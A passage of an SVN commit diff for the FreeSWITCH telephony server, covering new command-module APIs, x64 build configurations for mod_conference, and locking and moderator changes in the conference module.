-			switch_snprintf(sql, sizeof(sql) - 1, "select name, syntax, description from interfaces where type = 'api' and name = '%s' order by name",
+			switch_snprintf(sql, sizeof(sql) - 1, "select name, syntax, description, key from interfaces where type = 'api' and name = '%s' order by name",
 							cmdname);
 		} else {
-			switch_snprintf(sql, sizeof(sql) - 1, "select name, syntax, description from interfaces where type = 'api' order by name");
+			switch_snprintf(sql, sizeof(sql) - 1, "select name, syntax, description, key from interfaces where type = 'api' order by name");
 		}
+	} else if (!strcasecmp(command, "nat_map")) {
+			switch_snprintf(sql, sizeof(sql) - 1, 
+				"SELECT port, "
+				"  CASE proto "
+				"	WHEN 0 THEN 'udp' "
+				"	WHEN 1 THEN 'tcp' "
+				"	ELSE 'unknown' "
+				"  END AS proto, "
+				"  proto AS proto_num, "
+				"  sticky "
+				" FROM nat ORDER BY port, proto"
+			);
 	} else {
 		stream->write_function(stream, "-USAGE: %s\n", SHOW_SYNTAX);
 		goto end;
@@ -2631,6 +2909,8 @@
 		holder.delim = ",";
 	}
 
+	/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL: %s.\n", sql); */
+	
 	if (!strcasecmp(as, "delim") || !strcasecmp(as, "csv")) {
 		if (switch_strlen_zero(holder.delim)) {
 			if (!(holder.delim = argv[3])) {
@@ -2668,6 +2948,7 @@
 
 			switch_xml_set_attr(switch_xml_set_flag(holder.xml, SWITCH_XML_DUP), strdup("row_count"), strdup(count));
 			xmlstr = switch_xml_toxml(holder.xml, SWITCH_FALSE);
+			switch_xml_free(holder.xml);
 
 			if (xmlstr) {
 				holder.stream->write_function(holder.stream, "%s", xmlstr);
@@ -2696,7 +2977,7 @@
 SWITCH_STANDARD_API(version_function)
 {
 	char version_string[1024];
-	switch_snprintf(version_string, sizeof(version_string) - 1, "FreeSwitch Version %s\n", SWITCH_VERSION_FULL);
+	switch_snprintf(version_string, sizeof(version_string) - 1, "FreeSWITCH Version %s\n", SWITCH_VERSION_FULL);
 
 	stream->write_function(stream, version_string);
 	return SWITCH_STATUS_SUCCESS;
@@ -2722,7 +3003,7 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-#define HEARTBEAT_SYNTAX "<uuid> [sched] <on|off|<seconds>>"
+#define HEARTBEAT_SYNTAX "<uuid> [sched] [0|<seconds>]"
 SWITCH_STANDARD_API(uuid_session_heartbeat_function)
 {
 	char *mycmd = NULL, *argv[3] = { 0 };
@@ -2783,7 +3064,6 @@
 	switch_safe_free(mycmd);
 	stream->write_function(stream, "-ERR Usage: uuid_session_heartbeat %s", HEARTBEAT_SYNTAX);
 	return SWITCH_STATUS_SUCCESS;
-
 }
 
 SWITCH_STANDARD_API(uuid_flush_dtmf_function)
@@ -2981,7 +3261,6 @@
 
 usage:
 	stream->write_function(stream, "-USAGE: %s\n", UUID_SEND_DTMF_SYNTAX);
-	switch_safe_free(mycmd);
 
 done:
 	if (psession) {
@@ -3088,7 +3367,6 @@
 #define GLOBAL_GETVAR_SYNTAX "<var>"
 SWITCH_STANDARD_API(global_getvar_function)
 {
-
 	if (switch_strlen_zero(cmd)) {
 		switch_core_dump_variables(stream);
 	} else {
@@ -3174,11 +3452,35 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_commands_shutdown)
+{
+	int x;
+
+	for (x = 30; x > 0; x--) {
+		if (switch_thread_rwlock_trywrlock(bgapi_rwlock) == SWITCH_STATUS_SUCCESS) {
+			switch_thread_rwlock_unlock(bgapi_rwlock);
+			break;
+		}
+		if (x == 30) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Waiting for bgapi threads.\n");
+		}
+		switch_yield(1000000);
+	}
+
+	if (!x) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Giving up waiting for bgapi threads.\n");
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
 SWITCH_MODULE_LOAD_FUNCTION(mod_commands_load)
 {
 	switch_api_interface_t *commands_api_interface;
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
+	switch_thread_rwlock_create(&bgapi_rwlock, pool);
+
 	SWITCH_ADD_API(commands_api_interface, "group_call", "Generate a dial string to call a group", group_call_function, "<group>[@<domain>]");
 	SWITCH_ADD_API(commands_api_interface, "in_group", "determine if a user is in a group", in_group_function, "<user>[@<domain>] <group_name>");
 
@@ -3278,9 +3580,13 @@
 	SWITCH_ADD_API(commands_api_interface, "module_exists", "check if module exists", module_exists_function, "<module>");
 	SWITCH_ADD_API(commands_api_interface, "domain_exists", "check if a domain exists", domain_exists_function, "<domain>");
 	SWITCH_ADD_API(commands_api_interface, "uuid_send_dtmf", "send dtmf digits", uuid_send_dtmf_function, UUID_SEND_DTMF_SYNTAX);
-	SWITCH_ADD_API(commands_api_interface, "eval", "eval (noop)", eval_function, "<expression>");
+	SWITCH_ADD_API(commands_api_interface, "eval", "eval (noop)", eval_function, "[uuid:<uuid> ]<expression>");
+	SWITCH_ADD_API(commands_api_interface, "expand", "expand vars and execute", expand_function, "[uuid:<uuid> ]<cmd> <args>");
+	SWITCH_ADD_API(commands_api_interface, "echo", "echo", echo_function, "<data>");
+	SWITCH_ADD_API(commands_api_interface, "stun", "stun", stun_function, "<stun_server>[:port]");
 	SWITCH_ADD_API(commands_api_interface, "system", "Execute a system command", system_function, SYSTEM_SYNTAX);
 	SWITCH_ADD_API(commands_api_interface, "time_test", "time_test", time_test_function, "<mss>");
+	SWITCH_ADD_API(commands_api_interface, "nat_map", "nat_map", nat_map_function, "[status|republish|reinit] | [add|del] <port> [tcp|udp] [static]");
 
 	/* indicate that the module should continue to be loaded */
 	return SWITCH_STATUS_NOUNLOAD;

Property changes: freeswitch/branches/seven/src/mod/applications/mod_conference


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_conference/mod_conference.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_conference/mod_conference.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_conference/mod_conference.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_conference/mod_conference.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_conference/mod_conference.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_conference/mod_conference.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /*
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,23 +17,24 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Neal Horman <neal at wanlink dot com>
  * Bret McDanel <trixter at 0xdecafbad dot com>
  * Dale Thatcher <freeswitch at dalethatcher dot com>
  * Chris Danielson <chris at maxpowersoft dot com>
+ * Rupa Schomaker <rupa@rupa.com>
  *
  * mod_conference.c -- Software Conference Bridge
  *
  */
 #include <switch.h>
-
+//#define INTENSE_DEBUG
 SWITCH_MODULE_LOAD_FUNCTION(mod_conference_load);
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_conference_shutdown);
 SWITCH_MODULE_DEFINITION(mod_conference, mod_conference_load, mod_conference_shutdown, NULL);
@@ -72,6 +73,7 @@
 	switch_hash_t *conference_hash;
 	switch_mutex_t *id_mutex;
 	switch_mutex_t *hash_mutex;
+	switch_mutex_t *setup_mutex;
 	uint32_t id_pool;
 	int32_t running;
 	uint32_t threads;
@@ -93,7 +95,10 @@
 	CALLER_CONTROL_HANGUP,
 	CALLER_CONTROL_MENU,
 	CALLER_CONTROL_DIAL,
-	CALLER_CONTROL_EVENT
+	CALLER_CONTROL_EVENT,
+	CALLER_CONTROL_LOCK,
+	CALLER_CONTROL_TRANSFER,
+	CALLER_CONTROL_EXEC_APP
 } caller_control_t;
 
 /* forward declaration for conference_obj and caller_control */
@@ -140,7 +145,11 @@
 	MFLAG_ENDCONF = (1 << 9),
 	MFLAG_HAS_AUDIO = (1 << 10),
 	MFLAG_TALKING = (1 << 11),
-	MFLAG_RESTART = (1 << 12)
+	MFLAG_RESTART = (1 << 12),
+	MFLAG_MINTWO = (1 << 13),
+	MFLAG_MUTE_DETECT = (1 << 14),
+	MFLAG_DIST_DTMF = (1 << 15),
+	MFLAG_MOD = (1 << 16)
 } member_flag_t;
 
 typedef enum {
@@ -149,7 +158,9 @@
 	CFLAG_ENFORCE_MIN = (1 << 2),
 	CFLAG_DESTRUCT = (1 << 3),
 	CFLAG_LOCKED = (1 << 4),
-	CFLAG_ANSWERED = (1 << 5)
+	CFLAG_ANSWERED = (1 << 5),
+	CFLAG_BRIDGE_TO = (1 << 6),
+	CFLAG_WAIT_MOD = (1 << 7)
 } conf_flag_t;
 
 typedef enum {
@@ -188,7 +199,8 @@
 	EFLAG_UNLOCK = (1 << 22),
 	EFLAG_TRANSFER = (1 << 23),
 	EFLAG_BGDIAL_RESULT = (1 << 24),
-	EFLAG_FLOOR_CHANGE = (1 << 25)
+	EFLAG_FLOOR_CHANGE = (1 << 25),
+	EFLAG_MUTE_DETECT = (1 << 26)
 } event_type_t;
 
 typedef struct conference_file_node {
@@ -222,6 +234,7 @@
 	char *ack_sound;
 	char *nack_sound;
 	char *muted_sound;
+	char *mute_detect_sound;
 	char *unmuted_sound;
 	char *locked_sound;
 	char *is_locked_sound;
@@ -266,6 +279,7 @@
 	int video_running;
 	uint32_t eflags;
 	uint32_t verbose_events;
+	int end_count;
 } conference_obj_t;
 
 /* Relationship with another member */
@@ -287,9 +301,10 @@
 	uint32_t flags;
 	uint32_t score;
 	switch_mutex_t *flag_mutex;
+	switch_mutex_t *control_mutex;
 	switch_mutex_t *audio_in_mutex;
 	switch_mutex_t *audio_out_mutex;
-	switch_codec_t *orig_read_codec;
+	switch_codec_implementation_t orig_read_impl;
 	switch_codec_t read_codec;
 	switch_codec_t write_codec;
 	char *rec_path;
@@ -351,8 +366,11 @@
 static void conference_loop_output(conference_member_t *member);
 static uint32_t conference_stop_file(conference_obj_t *conference, file_stop_t stop);
 static switch_status_t conference_play_file(conference_obj_t *conference, char *file, uint32_t leadin, switch_channel_t *channel, uint8_t async);
+static void conference_send_all_dtmf(conference_member_t *member, conference_obj_t *conference, const char *dtmf);
 static switch_status_t conference_say(conference_obj_t *conference, const char *text, uint32_t leadin);
 static void conference_list(conference_obj_t *conference, switch_stream_handle_t *stream, char *delim);
+static conference_obj_t *conference_find(char *name);
+
 SWITCH_STANDARD_API(conf_api_main);
 
 static switch_status_t conference_outcall(conference_obj_t *conference,
@@ -362,7 +380,7 @@
 static switch_status_t conference_outcall_bg(conference_obj_t *conference,
 											 char *conference_name,
 											 switch_core_session_t *session, char *bridgeto, uint32_t timeout, const char *flags, const char *cid_name,
-											 const char *cid_num);
+											 const char *cid_num, const char *call_uuid);
 SWITCH_STANDARD_APP(conference_function);
 static void launch_conference_thread(conference_obj_t *conference);
 static void launch_conference_video_thread(conference_obj_t *conference);
@@ -423,6 +441,7 @@
 	}
 
 	switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Member-ID", "%u", member->id);
+	switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Member-Type", "%s", switch_test_flag(member, MFLAG_MOD) ? "moderator" : "member");
 
 	return status;
 }
@@ -447,8 +466,8 @@
 	if (member == NULL || other_member == NULL || member->relationships == NULL)
 		return NULL;
 
-	switch_mutex_lock(member->flag_mutex);
-	switch_mutex_lock(other_member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
+	switch_mutex_lock(other_member->control_mutex);
 
 	for (rel = member->relationships; rel; rel = rel->next) {
 		if (rel->id == other_member->id) {
@@ -461,8 +480,8 @@
 		}
 	}
 
-	switch_mutex_unlock(other_member->flag_mutex);
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(other_member->control_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	return rel ? rel : global;
 }
@@ -526,10 +545,10 @@
 
 	rel->id = id;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	rel->next = member->relationships;
 	member->relationships = rel;
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	return rel;
 }
@@ -543,7 +562,7 @@
 	if (member == NULL || id == 0)
 		return status;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	for (rel = member->relationships; rel; rel = rel->next) {
 		if (rel->id == id) {
 			/* we just forget about rel here cos it was allocated by the member's pool 
@@ -557,7 +576,7 @@
 		}
 		last = rel;
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	return status;
 }
@@ -577,7 +596,7 @@
 	switch_mutex_lock(conference->mutex);
 	switch_mutex_lock(member->audio_in_mutex);
 	switch_mutex_lock(member->audio_out_mutex);
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	switch_mutex_lock(conference->member_mutex);
 
 	switch_clear_flag(conference, CFLAG_DESTRUCT);
@@ -586,11 +605,16 @@
 	member->energy_level = conference->energy_level;
 	member->verbose_events = conference->verbose_events;
 	conference->members = member;
-	switch_set_flag(member, MFLAG_INTREE);
+	switch_set_flag_locked(member, MFLAG_INTREE);
 	switch_mutex_unlock(conference->member_mutex);
 
 	if (!switch_test_flag(member, MFLAG_NOCHANNEL)) {
 		conference->count++;
+
+		if (switch_test_flag(member, MFLAG_ENDCONF)) {
+			if (conference->end_count++);
+		}
+
 		if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", CONF_CHAT_PROTO);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "login", conference->name);
@@ -602,17 +626,22 @@
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "unique-id", conference->name);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "channel-state", "CS_ROUTING");
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "answer-state", conference->count == 1 ? "early" : "confirmed");
-			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-direction", conference->count == 1 ? "outbound" : "inbound");
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "presence-call-direction", conference->count == 1 ? "outbound" : "inbound");
 			switch_event_fire(&event);
 		}
 
+		if (switch_test_flag(conference, CFLAG_WAIT_MOD) && switch_test_flag(member, MFLAG_MOD)) {
+			switch_clear_flag(conference, CFLAG_WAIT_MOD);
+		}
+
 		if (conference->count > 1) {
-			if (conference->moh_sound) {
+			if (conference->moh_sound && !switch_test_flag(conference, CFLAG_WAIT_MOD)) {
 				/* stop MoH if any */
 				conference_stop_file(conference, FILE_STOP_ASYNC);
 			}
 			if (conference->enter_sound) {
-				conference_play_file(conference, conference->enter_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session), 1);
+				conference_play_file(conference, conference->enter_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session), 
+									 switch_test_flag(conference, CFLAG_WAIT_MOD) ? 0 : 1);
 			}
 		}
 
@@ -629,14 +658,18 @@
 				if (conference->count >= conference->announce_count && conference->announce_count > 1) {
 					switch_snprintf(msg, sizeof(msg), "There are %d callers", conference->count);
 					conference_member_say(member, msg, CONF_DEFAULT_LEADIN);
-				} else if (conference->count == 1 && !conference->perpetual_sound) {
-					if (conference->alone_sound) {
-						conference_stop_file(conference, FILE_STOP_ASYNC);
-						conference_play_file(conference, conference->alone_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session), 1);
-					} else {
-						switch_snprintf(msg, sizeof(msg), "You are currently the only person in this conference.");
-						conference_member_say(member, msg, CONF_DEFAULT_LEADIN);
+				} else if (conference->count == 1 && !conference->perpetual_sound && !switch_test_flag(conference, CFLAG_WAIT_MOD)) {
+					/* as long as its not a bridge_to conference, announce if person is alone */
+					if (!switch_test_flag(conference, CFLAG_BRIDGE_TO)) {
+						if (conference->alone_sound) {
+							conference_stop_file(conference, FILE_STOP_ASYNC);
+							conference_play_file(conference, conference->alone_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session), 1);
+						} else {
+							switch_snprintf(msg, sizeof(msg), "You are currently the only person in this conference.");
+							conference_member_say(member, msg, CONF_DEFAULT_LEADIN);
+						}
 					}
+
 				}
 			}
 		}
@@ -657,7 +690,7 @@
 		}
 
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 	switch_mutex_unlock(member->audio_out_mutex);
 	switch_mutex_unlock(member->audio_in_mutex);
 
@@ -673,15 +706,24 @@
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	conference_member_t *imember, *last = NULL;
 	switch_event_t *event;
+	conference_file_node_t *member_fnode;
+	switch_speech_handle_t *member_sh;
 
 	switch_assert(conference != NULL);
 	switch_assert(member != NULL);
 
+	switch_mutex_lock(member->control_mutex);
+	member_fnode = member->fnode;
+	member_sh = member->sh;
+	member->fnode = NULL;
+	member->sh = NULL;
+	switch_mutex_unlock(member->control_mutex);
+
 	switch_mutex_lock(conference->mutex);
 	switch_mutex_lock(conference->member_mutex);
 	switch_mutex_lock(member->audio_in_mutex);
 	switch_mutex_lock(member->audio_out_mutex);
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	switch_clear_flag(member, MFLAG_INTREE);
 
 	for (imember = conference->members; imember; imember = imember->next) {
@@ -697,11 +739,11 @@
 	}
 
 	/* Close Unused Handles */
-	if (member->fnode) {
+	if (member_fnode) {
 		conference_file_node_t *fnode, *cur;
 		switch_memory_pool_t *pool;
 
-		fnode = member->fnode;
+		fnode = member_fnode;
 		while (fnode) {
 			cur = fnode;
 			fnode = fnode->next;
@@ -715,16 +757,11 @@
 		}
 	}
 
-	if (member->sh) {
+	if (member_sh) {
 		switch_speech_flag_t flags = SWITCH_SPEECH_FLAG_NONE;
 		switch_core_speech_close(&member->lsh, &flags);
-		member->sh = NULL;
 	}
 
-	if (switch_test_flag(member, MFLAG_ENDCONF)) {
-		switch_set_flag_locked(member->conference, CFLAG_DESTRUCT);
-	}
-
 	if (member == member->conference->floor_holder) {
 		member->conference->floor_holder = NULL;
 	}
@@ -733,6 +770,14 @@
 
 	if (!switch_test_flag(member, MFLAG_NOCHANNEL)) {
 		conference->count--;
+
+		if (switch_test_flag(member, MFLAG_ENDCONF)) {
+			if (!--conference->end_count) {
+				switch_set_flag_locked(conference, CFLAG_DESTRUCT);
+			}
+		}
+
+
 		if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", CONF_CHAT_PROTO);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "login", conference->name);
@@ -755,7 +800,7 @@
 			if (conference->exit_sound) {
 				conference_play_file(conference, conference->exit_sound, 0, switch_core_session_get_channel(member->session), 0);
 			}
-			if (conference->count == 1 && conference->alone_sound) {
+			if (conference->count == 1 && conference->alone_sound && !switch_test_flag(conference, CFLAG_WAIT_MOD)) {
 				conference_stop_file(conference, FILE_STOP_ASYNC);
 				conference_play_file(conference, conference->alone_sound, 0, switch_core_session_get_channel(member->session), 1);
 			}
@@ -774,7 +819,7 @@
 		}
 	}
 	switch_mutex_unlock(conference->member_mutex);
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 	switch_mutex_unlock(member->audio_out_mutex);
 	switch_mutex_unlock(member->audio_in_mutex);
 	switch_mutex_unlock(conference->mutex);
@@ -898,7 +943,7 @@
 	switch_mutex_unlock(globals.hash_mutex);
 	
 	if (conference->auto_record) {
-		uint32_t sanity = 100;
+		uint32_t sanity = 1200;
 
 		while (!conference->members && --sanity) {
 			switch_yield(100000);
@@ -923,7 +968,7 @@
 		switch_size_t file_data_len = samples * 2;
 		int has_file_data = 0, members_with_video = 0;
 
-		if (conference->perpetual_sound && !conference->async_fnode) {
+  		if (conference->perpetual_sound && !conference->async_fnode) {
 			conference_play_file(conference, conference->perpetual_sound, CONF_DEFAULT_LEADIN, NULL, 1);
 		} else if (conference->moh_sound && conference->count == 1 && !conference->async_fnode) {
 			conference_play_file(conference, conference->moh_sound, CONF_DEFAULT_LEADIN, NULL, 1);
@@ -973,9 +1018,8 @@
 				file_sample_len = samples;
 				if (conference->fnode->type == NODE_TYPE_SPEECH) {
 					switch_speech_flag_t flags = SWITCH_SPEECH_FLAG_BLOCKING;
-					uint32_t rate = conference->rate;
 
-					if (switch_core_speech_read_tts(conference->fnode->sh, file_frame, &file_data_len, &rate, &flags) == SWITCH_STATUS_SUCCESS) {
+					if (switch_core_speech_read_tts(conference->fnode->sh, file_frame, &file_data_len, &flags) == SWITCH_STATUS_SUCCESS) {
 						file_sample_len = file_data_len / 2;
 					} else {
 						file_sample_len = file_data_len = 0;
@@ -1271,6 +1315,42 @@
 	}
 }
 
+
+static void conference_loop_fn_lock_toggle(conference_member_t *member, caller_control_action_t *action)
+{
+	switch_event_t *event;
+
+	if (member == NULL)
+		return;
+
+	if (!switch_test_flag(member->conference, CFLAG_LOCKED)) {
+		if (member->conference->is_locked_sound) {
+			conference_play_file(member->conference, member->conference->is_locked_sound, CONF_DEFAULT_LEADIN, NULL, 0);
+		}
+
+		switch_set_flag_locked(member->conference, CFLAG_LOCKED);
+		if (test_eflag(member->conference, EFLAG_LOCK) && 
+			switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
+			conference_add_event_data(member->conference, event);
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "lock");
+			switch_event_fire(&event);
+		}
+	} else {
+		if (member->conference->is_unlocked_sound) {
+			conference_play_file(member->conference, member->conference->is_unlocked_sound, CONF_DEFAULT_LEADIN, NULL, 0);
+		}
+
+		switch_clear_flag_locked(member->conference, CFLAG_LOCKED);
+		if (test_eflag(member->conference, EFLAG_UNLOCK) && 
+			switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
+			conference_add_event_data(member->conference, event);
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "unlock");
+			switch_event_fire(&event);
+		}
+	}
+
+}
+
 static void conference_loop_fn_deafmute_toggle(conference_member_t *member, caller_control_action_t *action)
 {
 	if (member == NULL)
@@ -1297,7 +1377,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->energy_level += 200;
 	if (member->energy_level > 3000) {
 		member->energy_level = 3000;
@@ -1310,7 +1390,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->energy_level);
 		switch_event_fire(&event);
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Energy level %d", member->energy_level);
 	conference_member_say(member, msg, 0);
@@ -1324,7 +1404,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->energy_level = member->conference->energy_level;
 
 	if (test_eflag(member->conference, EFLAG_ENERGY_LEVEL) &&
@@ -1334,7 +1414,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->energy_level);
 		switch_event_fire(&event);
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Energy level %d", member->energy_level);
 	conference_member_say(member, msg, 0);
@@ -1348,7 +1428,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->energy_level -= 100;
 	if (member->energy_level < 0) {
 		member->energy_level = 0;
@@ -1361,7 +1441,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->energy_level);
 		switch_event_fire(&event);
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Energy level %d", member->energy_level);
 	conference_member_say(member, msg, 0);
@@ -1375,7 +1455,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->volume_out_level++;
 	switch_normalize_volume(member->volume_out_level);
 
@@ -1386,7 +1466,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->volume_out_level);
 		switch_event_fire(&event);
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Volume level %d", member->volume_out_level);
 	conference_member_say(member, msg, 0);
@@ -1400,7 +1480,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->volume_out_level = 0;
 
 	if (test_eflag(member->conference, EFLAG_VOLUME_LEVEL) &&
@@ -1410,7 +1490,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->volume_out_level);
 		switch_event_fire(&event);
 	}
